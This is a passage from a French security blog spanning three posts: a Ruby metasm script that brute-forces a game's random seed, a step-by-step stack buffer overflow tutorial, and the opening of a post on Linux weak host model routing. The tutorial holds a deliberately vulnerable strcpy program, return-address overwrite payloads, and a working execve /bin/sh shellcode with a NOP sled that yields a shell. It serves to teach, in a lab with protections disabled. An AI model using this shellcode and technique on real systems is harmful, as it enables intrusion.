</pre>Il est même possible d'avoir un graphe à la <a href="http://www.hex-rays.com/idapro/">IDA</a>. Ici le graphe de la fonction main :<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMr9PsWDypeEw_A34R5zyn1yyIL5QWzsCNy87z1QPIf42ZaHrIfg4Ns1jZU3pBxz0P0Xyf8vXFOaw5GDSV2x52IrrdP3P0AocZr5TvK_sd6fB5Cks_Dz-WDfkH9ltmjvp8mwKbKIMlX9g/s1600/graph_dis.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="333" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMr9PsWDypeEw_A34R5zyn1yyIL5QWzsCNy87z1QPIf42ZaHrIfg4Ns1jZU3pBxz0P0Xyf8vXFOaw5GDSV2x52IrrdP3P0AocZr5TvK_sd6fB5Cks_Dz-WDfkH9ltmjvp8mwKbKIMlX9g/s400/graph_dis.jpg" width="400" /></a></div><center><br />
</center>On place un <strong>breakpoint</strong> dans la fonction <em>set_element</em>, juste après le calcul du <em>rand() % (SIDE*SIDE)</em>. Au premier <strong>breakpoint</strong>, on mémorise la valeur, ca sera la position du héros et au deuxième breakpoint, on trouvera la valeur du trésor. Il ne manquera plus qu'à faire la vérification : Si on est à coté du trésor c'est fini, sinon on tente avec une nouvelle graine.<br />
<br />
<pre class="brush:ruby">#!/usr/bin/ruby1.9.1
# encoding: utf-8
require 'metasm'
include Metasm
file=ARGV[0];
# Fonction appelée pour afficher à l'écran
# Réouvre stdout juste pour le message
def print_data(d,out,stdout_bck)
STDOUT.reopen(stdout_bck);
print "#{d}";
STDOUT.reopen(out);
end
# On clone stdout, pour pouvoir l'utiliser par la suite
out = STDOUT.clone;
# On utilise un pipe pour gérer stdin
r,w = IO.pipe;
STDIN.reopen(r);
STDOUT.reopen(w);
side = 10;
100.times do |i|
heroe_pos = -1;
dbg = LinOS.create_debugger(file + " #{i+1}");
# Breakpoint sur le résultat du rand % (SIDE*SIDE)
dbg.bpx(0x80485d7) {
if heroe_pos == -1 then
heroe_pos = dbg.get_reg_value(:edx);
dbg.continue_wait;
else
treasure_pos = dbg.get_reg_value(:edx);
dbg.kill;
print_data("#{i+1} => Heros (#{heroe_pos/side},#{heroe_pos%side}), Trésor (#{treasure_pos/side},#{treasure_pos%side})\n",w,out);
if ((heroe_pos%side == treasure_pos%side) and ((heroe_pos/side)-(treasure_pos%side)).abs == 1) or ((heroe_pos%side-treasure_pos%side).abs == 1 and (heroe_pos/side == treasure_pos/side)) then
print_data("SUCCEED ! Seed = #{i+1}\n",w,out);
exit(0);
else
next;
end
end
}
# On répond à la question comme quoi on veut pas lire les instructions
w.write("n\n");
dbg.run_forever;
end
</pre><br />
Le programme est très simple. Il y a une petite subtilité pour gérer la question posée par le programme au sujet des instructions.<br />
<br />
<pre class="brush:plain"># ruby break_srand.rb ./game
1 => Heros (8,3), Trésor (8,6)
2 => Heros (9,0), Trésor (1,9)
3 => Heros (4,6), Trésor (8,5)
4 => Heros (0,1), Trésor (8,3)
[...]
40 => Heros (0,6), Trésor (8,9)
41 => Heros (4,5), Trésor (6,6)
42 => Heros (6,6), Trésor (4,0)
43 => Heros (7,2), Trésor (7,1)
SUCCEED ! Seed = 43</pre><br />
Voilà un petit exemple des fonctionnalités disponibles et de la simplicité d'utilisation de <a href="http://metasm.cr0.org/">metasm</a>. La documentation n'étant pas très abondante, je pense que ce petit exemple pourra être utile.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com2tag:blogger.com,1999:blog-7133158144968101578.post-27085224347340866012011-04-23T12:50:00.000-07:002013-05-14T00:45:15.322-07:00Buffer OverflowL'exploitation des buffers overflow remonte à la fin des année 1980 début des années 1990 avec notamment les attaques sur le démon <a href="http://en.wikipedia.org/wiki/Finger_protocol">fingerd</a> d'Unix. Les informations détaillées sur comment exploiter cette vulnérabilités ont vraiment vu le jour en 1996 avec l'article <a href="http://www.phrack.org/issues.html?id=14&issue=49">Smashing The Stack For Fun And Profit</a> publié dans <a href="http://www.phrack.org/">Phrack</a>.<br />
Pour être en mesure d'exploiter et de comprendre cette vulnérabilité il est d'abord nécessaire d'avoir une bonne connaissance du <a href="http://hack-and-fun.blogspot.fr/2011/03/fonctionnement-de-la-pile.html">fonctionnement de la pile d'un programme</a>. Même si cette vulnérabilité ne touche pas que la pile, cet article se limitera à ce contexte.<br />
<br />
Pour commencer il est nécessaire de <a href="http://hack-and-fun.blogspot.fr/2011/02/debuter-avec-les-buffer-overflows.html">désactiver toutes les protections</a> qui peuvent être mises en place par l'OS ou le compilateur.<br />
<br />
Un buffer est une zone mémoire dans laquelle va être stockée des données permettant le bon fonctionnement du programme. Le problème c'est qu'un buffer a une taille fixe à un instant t et si des précautions n'ont pas été prises, il est possible d'écrire plus de données que la taille du buffer. Le problème est que ces données vont écraser d'autres informations qui peuvent nous permettre dans certaines circonstances de modifier le comportement du programme.<br />
<br />
Prenons un programme d'exemple appelé <em>buffer_overflow.c</em> :<br />
<br />
<pre class="brush:cpp">#include <stdio.h>
#include <stdlib.h>
void unused_function(void) {
printf("Impossible => fonction non utilisee\n");
}
void f(const char *s) {
int i = 1;
char buffer[12];
strcpy(buffer,s);
printf("i = %u\n",i);
}
int main(int argc, char **argv) {
if(argc != 2) {
fprintf(stderr,"Usage: buffer_overflow chaine");
exit(EXIT_FAILURE);
}
f(argv[1]);
return EXIT_SUCCESS;
}
</pre>On voit clairement le problème dans ce programme à la ligne 11. Le <em>buffer</em> ne fait que 12 octets, et la commande <em>strcpy</em> (contrairement à la commande <em>strncpy</em>) ne vérifie pas la taille. Si la longueur de <em>s</em> est supérieure à 12 octets, on dépassera la taille de <em>buffer</em> et on écrasera des informations qui n'ont rien à voir avec cette variable.<br />
<br />
Regardons un peu l'exécution de ce programme :<br />
<br />
<pre class="brush:plain"># ./buffer_overflow AAA
i = 1
$ ./buffer_overflow $(ruby -e 'print "A"*12')
i = 0
$ ./buffer_overflow $(ruby -e 'print "A"*15')
i = 4276545
</pre><br />
<br />
Tant qu'on ne dépasse pas la taille du buffer, tout se passe normalement. Par contre dès qu'on commence à déborder, on modifie la valeur de <em>i</em> en l'écrasant, chose qui paraissait impossible vu le code source du programme.<br />
<pre class="brush:plain"># ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)</pre>Au bout d'une certaine quantité d'information au delà de la taille du buffer, on plante même lamentablement le programme.<br />
<br />
Regardons un peu ce qu'il se passe avec gdb :<br />
<br />
<div class="code"><pre><span class="prompt">time0ut#</span> gdb -q --args ./buffer_overflow $(ruby -e 'print "A"*12')
Reading symbols from time0ut/buffer_overflow...done.
<span style="color: red;">gdb$</span> dis f
Dump of assembler code for function f:
0x080482b4 <+0>: push ebp
0x080482b5 <+1>: mov ebp,esp
0x080482b7 <+3>: sub esp,0x28
0x080482ba <+6>: mov DWORD PTR [ebp-0xc],0x1
0x080482c1 <+13>: mov eax,DWORD PTR [ebp+0x8]
0x080482c4 <+16>: mov DWORD PTR [esp+0x4],eax
0x080482c8 <+20>: lea eax,[ebp-0x18]
0x080482cb <+23>: mov DWORD PTR [esp],eax
0x080482ce <+26>: call 0x80512a0 <strcpy>
0x080482d3 <+31>: mov eax,0x80ae90c
0x080482d8 <+36>: mov edx,DWORD PTR [ebp-0xc]
0x080482db <+39>: mov DWORD PTR [esp+0x4],edx
0x080482df <+43>: mov DWORD PTR [esp],eax
0x080482e2 <+46>: call 0x8048e40 <printf>
0x080482e7 <+51>: leave
0x080482e8 <+52>: ret
End of assembler dump.
<span style="color: red;">gdb$</span> b *0x080482ce <span style="color: green;"># On breakpoint avant le strcpy</span>
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
<span style="color: red;">gdb$</span> b *0x080482d3 <span style="color: green;"># On breakpoint après le strcpy</span>
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
<span style="color: red;">gdb$</span> r
<span style="color: grey;">=> 0x80482ce <f>: call 0x80512a0 <strcpy>
0x80482d3 <f>: mov eax,0x80ae90c
0x80482d8 <f>: mov edx,DWORD PTR [ebp-0xc]</f></f></f></span>
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
11 strcpy(buffer,s)
<span style="color: red;">gdb$</span> print &buffer
$1 = (char (*)[12]) 0xbffff230
<span style="color: red;">gdb$</span> print &i
$2 = (int *) 0xbffff23c
<span style="color: red;">gdb$</span> print 0xbffff23c - 0xbffff230
$3 = 0xc
<span style="color: red;">gdb$</span> x/16xb 0xbffff230
0xbffff230: 0x04 0xf3 0xff 0xbf 0xa0 0x89 0x04 0x08
0xbffff238: 0x00 0x01 0x30 0xb7 <span style="color: blue;">0x01 0x00 0x00 0x00</span>
<span style="color: red;">gdb$</span> c
<span style="color: grey;">=> 0x80482d3 <f>: mov eax,0x80ae90c
0x80482d8 <f>: mov edx,DWORD PTR [ebp-0xc]
0x80482db <f>: mov DWORD PTR [esp+0x4],edx</f></f></f></span>
Breakpoint 2, f at buffer_overflow.c:12
12 printf("i = %u\n",i);
<span style="color: red;">gdb$</span> x/16xb 0xbffff230
0xbffff230: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff238: 0x41 0x41 0x41 0x41 <span style="color: blue;">0x00 0x00 0x00 0x00</span>
<span style="color: red;">gdb$</span> c
i = 0
Program exited normally.</pre></div><br />
<br />
On voit bien avant le <em>strcpy</em> la valeur de <em>i</em> <em>0x01 0x00 0x00 0x00</em> (représentée en bleu) qui est écrasée par l'<em>\0</em> ajouté par <em>strcpy</em>. Un seul octet est écrasé : celui où il y avait <em>0x01</em>. <em>i</em> passe donc à <em>0</em>.<br />
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXGHdY0ngqe64gSqfMYsPeqaMN0dA85zVgsuDM7f7LVJwij2gVUciKrIdMvxfOEE9fXdR2QcjeHom4bYu_cBG4r0qhd-1wh5Kg7B9641EpRACYEtPTUs4Lh6SSlk_5DmNBKtTbHmn7s-w/s1600/overflow_i.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXGHdY0ngqe64gSqfMYsPeqaMN0dA85zVgsuDM7f7LVJwij2gVUciKrIdMvxfOEE9fXdR2QcjeHom4bYu_cBG4r0qhd-1wh5Kg7B9641EpRACYEtPTUs4Lh6SSlk_5DmNBKtTbHmn7s-w/s1600/overflow_i.png" /></a></div><center></center>Lorsqu'on passe en argument 15 "A", on écrase la variable <em>i</em> avec 3 octets supplémentaires (donc 4 au total), <em>i</em> prend donc la valeur <em>\x41\x41\x41\x00</em> soit la valeur <em>4276545</em> en <a href="http://en.wikipedia.org/wiki/Endianness#Little-endian">little endian</a>. La valeur <em>1094795585</em> ne correspond qu'à des <em>\x41</em> sur tous les octets.<br />
<br />
<u>Remarque</u>: Si nous avions inversé la déclaration des variables <em>buffer</em> et <em>i</em>, il n'aurait pas été possible de faire un overflow sur <em>i</em>, car elle aurait eu une adresse inférieure à <em>buffer</em>.<br />
<br />
Maintenant essayons de comprendre pourquoi sur notre dernier essai, en plus de modifier la valeur de <em>i</em>, le programme se plante. Si on se rappelle bien du <a href="http://hack-and-fun.blogspot.fr/2011/03/fonctionnement-de-la-pile.html">fonctionnement de la pile</a>, on sait que lors de la création d'un stack frame l'adresse suivant l'appel de la fonction est aussi sauvegardée sur la pile pour reprendre l'exécution du programme au bon endroit lors du retour de la fonction. <br />
Que se passe t'il si lors de la copie de la chaîne dans notre buffer, on écrase cette adresse ? On va modifier le cours d'exécution du programme, et le retour de notre fonction <em>f</em> se fera à une nouvelle adresse, qui pointera dans notre cas sur n'importe quoi. Le programme a donc de fortes chances de planter. C'est exactement ce qu'il se passe ici.<br />
<br />
<div class="code"><pre><span class="prompt">time0ut#</span> ./buffer_overflow $(ruby -e 'print "A"*50')
i = 1094795585
Erreur de segmentation (core dumped)
<span class="prompt">time0ut#</span> gdb buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 5625]
Core was generated by `./buffer_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
<span style="color: red;">gdb$</span> info register eip <span style="color: green;"># ou sa version light : i r eip</span>
eip 0x41414141 0x41414141
<pre></pre></pre></div><br />
Notre registre <em>EIP</em> (celui qui pointe sur la prochaine instruction à exécuter) à la valeur <em>0x41414141</em> soit <em>AAAA</em>. Lorsque le programme va tenter d'exécuter l'instruction à cette adresse, il ne pourra pas lire le contenu de cette zone mémoire et va donc planter. <br />
Par contre, si on arrive à écrire une adresse valide, il est techniquement possible de faire exécuter du code non prévu à notre programme, lors de la restauration de l'adresse de retour de <em>f</em>.<br />
<br />
<div class="code"><pre><span class="prompt">time0ut#</span> gdb -q buffer_overflow
Reading symbols from time0ut/buffer_overflow...done.
<span style="color: red;">gdb$</span> dis unused_function
Dump of assembler code for function unused_function:
0x080482a0 <+0>: push ebp
0x080482a1 <+1>: mov ebp,esp
0x080482a3 <+3>: sub esp,0x18
<span style="color: blue;">0x080482a6</span> <+6>: mov DWORD PTR [esp],0x80ae8e8
0x080482ad <+13>: call 0x8048fd0 <puts>
0x080482b2 <+18>: leave
0x080482b3 <+19>: ret
End of assembler dump.
<span style="color: red;">gdb$</span> q
<span class="prompt">time0ut#</span> ./buffer_overflow $(ruby -e 'print "<span style="color: blue;">\xa6\x82\x04\x08</span>"*50')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)</pre></div><br />
<br />
Plutôt que d'écrire une série de A, on a réécrit une adresse valide plusieurs fois, de façon à écraser non seulement la valeur <em>i</em>, mais aussi la valeur de retour de <em>f</em>. Cette adresse pointe sur le <em>printf</em> de notre fonction <em>unused_function</em>. Lorsque <em>f</em> se termine, la valeur de retour devient <em>0x080482a6</em> (\xa6\x82\x04\x08 en little endian) et le programme exécute l'instruction se trouvant à cette adresse. Le <em>printf</em> de <em>unused_function</em> qui n'était jamais appelé est donc exécuté. Inutile de dire ici qu'étant donné qu'on a complètement court-circuité toute la structure du programme a un moment ou à un autre, le programme se plante.<br />
<br />
<div class="code"><pre><span class="prompt">time0ut#</span> gdb -q --args buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*50')
Reading symbols from time0ut/buffer_overflow...done.
<span style="color: red;">gdb$</span> dis main
Dump of assembler code for function main:
0x080482e9 <+0>: push ebp
0x080482ea <+1>: mov ebp,esp
0x080482ec <+3>: and esp,0xfffffff0
0x080482ef <+6>: sub esp,0x10
0x080482f2 <+9>: cmp DWORD PTR [ebp+0x8],0x2
0x080482f6 <+13>: je 0x804832c <main+67>
0x080482f8 <+15>: mov eax,ds:0x80ce624
0x080482fd <+20>: mov edx,eax
0x080482ff <+22>: mov eax,0x80ae914
0x08048304 <+27>: mov DWORD PTR [esp+0xc],edx
0x08048308 <+31>: mov DWORD PTR [esp+0x8],0x1d
0x08048310 <+39>: mov DWORD PTR [esp+0x4],0x1
0x08048318 <+47>: mov DWORD PTR [esp],eax
0x0804831b <+50>: call 0x8048e70 <fwrite>
0x08048320 <+55>: mov DWORD PTR [esp],0x1
0x08048327 <+62>: call 0x8048c20 <exit>
0x0804832c <+67>: mov eax,DWORD PTR [ebp+0xc]
0x0804832f <+70>: add eax,0x4
0x08048332 <+73>: mov eax,DWORD PTR [eax]
0x08048334 <+75>: mov DWORD PTR [esp],eax
0x08048337 <+78>: call 0x80482b4 <f>
<span style="color: blue;">0x0804833c</span> <+83>: mov eax,0x0 <span style="color: green;"># Adresse de retour de f</span>
0x08048341 <+88>: leave
0x08048342 <+89>: ret
End of assembler dump.
<span style="color: red;">gdb$</span> b *0x80482ce <span style="color: green;"># avant le strcpy</span>
Breakpoint 1 at 0x80482ce: file buffer_overflow.c, line 11.
<span style="color: red;">gdb$</span> b *0x80482d3 <span style="color: green;"># après le strcpy</span>
Breakpoint 2 at 0x80482d3: file buffer_overflow.c, line 12.
<span style="color: red;">gdb$</span> r
Breakpoint 1, 0x080482ce in f at buffer_overflow.c:11
<span style="color: red;">gdb$</span> x/8xw buffer
0xbffff230: 0xbffff244 0x080489a0 0x5cdd3700 0x00000001
0xbffff240: 0xbffff190 0x08048db5 0xbffff1a8 <span style="color: blue;">0x0804833c</span> <span style="color: green;"># eip a été sauvegardé ici</span>
<span style="color: red;">gdb$</span> n
Breakpoint 2, f at buffer_overflow.c:12
12 printf("i = %u\n",i);
<span style="color: red;">gdb$</span> x/8xw buffer
0xbffff230: 0x080482a6 0x080482a6 0x080482a6 0x080482a6
0xbffff240: 0x080482a6 0x080482a6 0x080482a6 <span style="color: blue;">0x080482a6</span> <span style="color: green;"># On a modifié la valeur</span>
<span style="color: red;">gdb$</span> x/2i 0x080482a6
0x80482a6 <unused_function>: mov DWORD PTR [esp],0x80ae8e8
0x80482ad <unused_function>: call 0x8048fd0 <puts></unused_function></unused_function></pre></div><br />
<br />
La mémoire ressemble après le <em>strcpy</em> à cela :<br />
<div class="separator" style="clear: both; text-align: left;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKYYXTsbWTGffQNBHkGsmGK4CccoAQVYqxjH2Vo6LsY69jjvEpIsaAfhle_5VgyobYriRRi16kmNHPqYA3a-WOABytkXyNN0HVgbFryvpjUl7kk9R1CnMTR1HpROrpj0Nn1dJeQVTUTVk/s1600/overflow_eip.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKYYXTsbWTGffQNBHkGsmGK4CccoAQVYqxjH2Vo6LsY69jjvEpIsaAfhle_5VgyobYriRRi16kmNHPqYA3a-WOABytkXyNN0HVgbFryvpjUl7kk9R1CnMTR1HpROrpj0Nn1dJeQVTUTVk/s1600/overflow_eip.png" /></a></div>Il aurait suffit de réécrire juste la mémoire contenant la sauvegarde de <em>EIP</em>, plutôt que de tout réécrire. Le problème c'est qu'il n'est pas forcément simple de connaître cette adresse de façon précise. <br />
La distance séparant les variables locales d'une fonction à la sauvegarde du registre <em>EIP</em> ne peut pas toujours être connue. Cela dépend du système sur lequel on se trouve et de la façon dont a été compilé le programme. Certains compilateurs peuvent ajouter des protections, du padding... La <a href="http://hack-and-fun.blogspot.fr/2011/02/debuter-avec-les-buffer-overflows.html">façon</a> dont a été compilé le programme enlève toutes les protections, cependant <a href="http://gcc.gnu.org/">gcc</a> peut ajouter du padding et c'est le cas ici.<br />
<br />
On peut voir cela dans le prologue de la fonction de <em>f</em> :<br />
<br />
<div class="code"><pre>0x080482b4 <+0>: push ebp
0x080482b5 <+1>: mov ebp,esp
0x080482b7 <+3>: sub esp,0x28
<pre></pre></pre></div><br />
40 octets (0x28) sont réservés pour les variables locales, alors que seulement 12 + 4 octets auraient été nécessaires. En réécrivant donc l'adresse souhaitée suffisamment de fois, on est pratiquement sûr de bien tomber (en tout cas pour cet exemple). C'est peu élégant, mais efficace.<br />
<br />
Une technique plus élégante consiste à utiliser des utilitaires de metasploit : <em>pattern_create.rb</em> et <em>pattern_offset.rb</em>. L'idée consiste à générer un pattern suffisamment long avec <em>pattern_create.rb</em>, à le passer au programme pour le planter et enfin à regarder la valeur de <em>EIP</em>. <br />
Il suffit de passer la valeur de <em>EIP</em> à <strong>pattern_offset.rb</strong> qui nous donnera la taille nécessaire pour arriver jusqu'au registre (et donc d'ajouter 4 octets supplémentaire pour l'écraser).<br />
<br />
Merci à <a href="http://binholic.blogspot.com/">m_101</a> pour m'avoir fait découvrir ces outils sur son blog.<br />
<div class="code"><pre><span class="prompt">time0ut#</span> /msf3/tools/pattern_create.rb 50
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
<span class="prompt">time0ut#</span> ./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab
i = 1093951809
Erreur de segmentation (core dumped)
<span class="prompt">time0ut#</span> gdb -q buffer_overflow -c core
Reading symbols from time0ut/buffer_overflow...done.
[New Thread 6873]
Core was generated by `./buffer_overflow Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab'.
Program terminated with signal 11, Segmentation fault.
#0 0x62413961 in ?? ()
<span style="color: red;">gdb$</span> q
<span class="prompt">time0ut#</span> /msf3/tools/pattern_offset.rb $(ruby -e 'print "\x62\x41\x39\x61".reverse')
28 <span style="color: green;"># Il faut donc 28 octets pour arriver à EIP, les 4 suivant l'écraseront</span>
<span class="prompt">time0ut#</span> ./buffer_overflow $(ruby -e 'print "\xa6\x82\x04\x08"*(28/4+4)')
i = 134513318
Impossible => fonction non utilisee
Erreur de segmentation (core dumped)</pre></div><br />
C'est bien joli d'exécuter une fonction qui n'aurait pas dû l'être mais ce qui est vraiment intéressant, c'est d'exécuter le code que l'on souhaite, même si celui-ci ne fait pas parti du programme initial. Pour cela, il faut être capable de mapper ce code dans la mémoire du programme. Une fois cela effectué, il suffira d'utiliser la technique décrite précédemment pour l'utiliser.<br />
<br />
Plusieurs techniques existent pour mettre notre code dans la mémoire du programme comme par exemple le passer en ligne de commande, directement dans le buffer source de la vulnérabilité. Cependant ici on va utiliser une technique plus simple et plus sûre, on va passer notre code par variable d'environnement.<br />
<br />
Chaque programme a accès automatiquement aux variables d'environnement, même s'il ne les utilise pas. Elles font parties de sa mémoire. Le seul problème va être de connaître l'adresse de notre variable, car il va falloir pointer dessus. Pour cela le programme suivant doit faire parti de notre boite à outils :<br />
<pre class="brush:cpp">#include <stdio.h>
#include <stdlib.h>
int main(int argc,char**argv) {
char *addr;
if(argc != 2) {
printf("Usage: %s env_variable\n",argv[0]);
exit(EXIT_FAILURE);
}
addr = getenv(argv[1]);
if(addr == NULL) {
printf("Environnement variable %s does not exist\n",argv[1]);
} else {
printf("%s is located at %p\n",argv[1],addr);
}
return EXIT_SUCCESS;
}
</pre><br />
Ce programme permet de connaître l'adresse d'une variable d'environnement (si elle existe). D'un programme à l'autre, l'adresse d'une variable d'environnement varie peu.<br />
<pre class="brush:plain"># ./get_env PATH
PATH is located at 0xbffffc15
</pre>Le code qui sera passé au programme est un shellcode, qui permettra d'obtenir un shell s'il est exécuté. Le développement de ce code dépasse le cadre de cet article, nous en utiliserons un tout fait que l'on peut trouver sur <a href="http://www.shell-storm.org/shellcode/">shellstorm</a> par exemple.<br />
<pre class="brush:plain"># ruby -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"' | ndisasm - -b 32
00000000 31C0 xor eax,eax
00000002 50 push eax
00000003 682F2F7368 push dword 0x68732f2f
00000008 682F62696E push dword 0x6e69622f
0000000D 89E3 mov ebx,esp
0000000F 50 push eax
00000010 89E2 mov edx,esp
00000012 53 push ebx
00000013 89E1 mov ecx,esp
00000015 B00B mov al,0xb
00000017 CD80 int 0x80
</pre><br />
Une fois en possession de notre code, on va le mettre dans une variable d'environnement précédé d'un certain nombre d'octets ayant la valeur <em>0x90</em>. L'opcode <em>0x90</em> représente l'instruction <em>NOP</em> qui ne fait rien en assembleur si ce n'est passer à l'instruction suivante. L'avantage est qu'il suffit de pointer sur l'un des <em>NOP</em> pour que notre shellcode s'exécute (le programme passera de <em>NOP</em> en <em>NOP</em> jusqu'à la charge utile). Si nous n'en avions pas mis, il aurait fallu pointer exactement sur le début de notre shellcode, à l'octet près. Comme l'adresse de la variable d'environnement peut changer d'un programme à l'autre, il aurait été beaucoup plus difficile de tomber sur la bonne adresse. Les <em>NOP</em> permettent donc de s'affranchir d'une erreur trop importante sur l'adresse finale.<br />
<pre class="brush:plain"># export SC=$(ruby -e 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
# ./get_env SC
SC is located at 0xbffffcb6
</pre>On connait donc grossièrement l'adresse du premier <em>NOP</em> de notre shellcode. On va se laisser une marge de 50 octets histoire d'être au milieu de tous les <em>NOP</em> : 0xbffffce8 (0xbffffcb6 + 50).<br />
<br />
Il ne nous reste plus qu'à écraser l'adresse sauvegardée de <em>EIP</em> sur la pile par cette adresse, pour que lors du retour de notre fonction <em>f</em> on exécute notre shellcode :<br />
<br />
<pre class="brush:plain"># ./buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
i = 3221224680
$
</pre>Ca marche, on récupère le prompt de notre shell. Regardons ce qu'il s'est vraiment passé avec <em>gdb</em> :<br />
<br />
<div class="code"><pre><span class="prompt">time0ut#</span> gdb -q --args buffer_overflow $(ruby -e 'print "\xe8\xfc\xff\xbf"*8')
Reading symbols from time0ut/buffer_overflow...done.
<span style="color: red;">gdb$</span> b *0x080482d3 <span style="color: green;"># On breakpoint après le strcpy</span>
Breakpoint 1 at 0x80482d3: file buffer_overflow.c, line 12.
<span style="color: red;">gdb$</span> r
Breakpoint 2, f at buffer_overflow.c:12
12 printf("i = %u\n",i);
<span style="color: red;">gdb$</span> x/8xw buffer
0xbffff230: 0xbffffce8 0xbffffce8 0xbffffce8 0xbffffce8
0xbffff240: 0xbffffce8 0xbffffce8 0xbffffce8 <span style="color: blue;">0xbffffce8</span> <span style="color: green;"># L'adresse a bien été réécrite</span>
<span style="color: red;">gdb$</span> x/20xw 0xbffffce8
0xbffffce8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffcf8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffd08: 0x90909090 0x31909090 0x2f6850c0 0x6868732f
0xbffffd18: 0x6e69622f 0x8950e389 0xe18953e2 0x80cd0bb0
0xbffffd28: 0x53494800 0x4e4f4354 0x4c4f5254 0x6e67693d <span style="color: green;"># On est bien sur les NOP, donc c'est gagné</span>
<span style="color: red;">gdb$</span> x/5i 0xbffffce8
0xbffffce8: nop
0xbffffce9: nop
0xbffffcea: nop
0xbffffceb: nop
0xbffffcec: nop
<span style="color: red;">gdb$</span> x/10xb 0xbffffcaa
0xbffffcaa: 0x3d 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0xbffffcb2: 0x90 0x90</pre></div><br />
L'adresse du premier <em>NOP</em> était en réalité en <em>0xbffffcab</em>, alors que notre programme précédent nous avait donné <em>0xbffffcb6</em> (soit une différence de 11 octets). La technique des <em>NOP</em> nous a permis de passer outre cette approximation.ymvunjqhttp://www.blogger.com/profile/11473437397791762485noreply@blogger.com7tag:blogger.com,1999:blog-7133158144968101578.post-13660806752428084492011-04-21T10:14:00.000-07:002013-05-14T00:38:08.179-07:00Weak Host ModelCela fait plusieurs fois que je suis confronté dans mon travail à un comportement déroutant de la pile TCP/IP de Linux.<br />
<br />
Prenons un exemple concret : nous avons une machine linux qui a deux interfaces réseaux et qui sert de routeur. Cette machine n'effectue aucun filtrage.<br />
<br />
<pre class="brush:plain"># ifconfig
eth0 Link encap:Ethernet HWaddr 00:19:b9:0d:a1:6d
inet addr:10.0.0.1 Bcast:10.255.255.255 Mask:255.0.0.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
Interrupt:16
eth1 Link encap:Ethernet HWaddr 00:0e:2e:ee:ca:87
inet addr:192.168.0.1 Bcast:192.168.0.255 Mask:255.255.2255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:127551 errors:0 dropped:0 overruns:0 frame:0
TX packets:1300 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:12749638 (12.7 MB) TX bytes:154130 (154.1 KB)
Interrupt:18 Base address:0xdc00
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
# iptables -L
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source
# sysctl -e net.ipv4.ip_forward
net.ipv4.ip_forward = 1
</pre>
Maintenant prenons une machine cliente connectée sur le même réseau que <em>eth0</em> de notre routeur. La passerelle par défaut de notre machine cliente est notre routeur.<br />
<br />
<pre class="brush:plain"># ifconfig
eth0 Link encap:Ethernet HWaddr 00:17:42:2e:7d:77
inet adr:10.0.0.2 Bcast:10.255.255.255 Masque:255.0.0.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Packets reçus:900572 erreurs:0 :0 overruns:0 frame:0
TX packets:296685 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 lg file transmission:1000
Octets reçus:98442936 (98.4 MB) Octets transmis:50927297 (50.9 MB)
Interruption:16
lo Link encap:Boucle locale
inet adr:127.0.0.1 Masque:255.0.0.0
adr inet6: ::1/128 Scope:Hôte
UP LOOPBACK RUNNING MTU:16436 Metric:1
Packets reçus:624989 erreurs:0 :0 overruns:0 frame:0
